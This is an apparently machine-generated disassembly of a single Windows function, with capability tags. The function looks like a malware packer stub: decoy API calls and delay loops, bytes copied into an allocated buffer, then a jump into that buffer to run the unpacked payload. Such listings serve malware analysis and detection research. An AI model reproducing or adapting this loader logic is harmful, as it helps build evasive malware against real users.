Function at 0x402057
Capabilities:
Copy file
Delete directory
Get common file path
Get disk information
Get file attributes
Get geographical location
Identify system language via api
Terminate thread

Disassembly:
mov eax, 0x4193d9
call fcn.004192e0
mov ecx, dword [0x2d3a7c8]
sub esp, 0x8cc
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x402151
push str.xebapotuwova
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push ebx
bts dword [eax], 0
lea eax, [ebp - 0x4d8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
lea eax, [ebp - 0x8d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call fcn.00406349
pop ecx
push ebx
call fcn.004052f4
pop ecx
push ebx
push ebx
call fcn.00405eb8
pop ecx
pop ecx
xorps xmm1, xmm1
xorps xmm0, xmm0
call fcn.004010d0
push str.bad_exception
lea ecx, [ebp - 0x1c]
call fcn.004010f7
lea ecx, [ebp - 0x1c]
call fcn.00401113
push ebx
push ebx
call fcn.004052ae
push ebx
call fcn.00406038
add esp, 0xc
push ebx
call fcn.004063c0
pop ecx
push ebx
call fcn.00406038
mov dword [esp], 0x4207f4
call fcn.00406062
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00402a1f
lea eax, [ebp - 0x10]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x10], ebx
call fcn.00402a2c
push ecx
push ecx
lea ecx, [ebp - 0xd8]
call fcn.00402a69
lea ecx, [ebp - 0xd8]
call fcn.004022de
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00402a59
mov ecx, dword [0x2d3a7c8]
mov eax, dword [0x426ee8]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x2d3a7cc], eax
mov dword [0x2d3a7c8], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x2d397bc], eax
call fcn.00401fec
mov esi, 0x29156e
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x40217e
mov ecx, dword [0x2d3a7c8]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test ecx, ecx
je 0x4021f5
mov eax, dword [0x2d3a7cc]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2d397bc]
mov byte [eax + esi], cl
mov ecx, dword [0x2d3a7c8]
cmp ecx, 0x490
jne 0x4021f0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
call ebx
xor ecx, ecx
lea eax, [ebp - 0x8d8]
push ecx
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
push ecx
lea eax, [ebp - 0x4d8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x2d3a7c8]
inc esi
cmp esi, ecx
jb 0x402199
xor esi, esi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x402249
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor ecx, ecx
lea eax, [ebp - 0x20]
push ecx
push eax
push ecx
lea eax, [ebp - 0x8d8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
call ebx
xor ecx, ecx
lea eax, [ebp - 0x4d8]
push ecx
push ecx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ecx, dword [0x2d3a7c8]
inc esi
cmp esi, 0x38681
jl 0x4021f7
push ecx
call fcn.00401fa9
xor ebx, ebx
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x40226c
call fcn.00401fd0
inc esi
cmp esi, 0x674db
jl 0x40225c
push 0x7b
pop esi
cmp dword [0x2d3a7c8], 0x86
jne 0x4022ba
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push str.hosux
push str.musorukefojigujubefezo
call dword [sym.imp.KERNEL32.dll_CopyFileA]
dec esi
jne 0x402278
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d397bc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret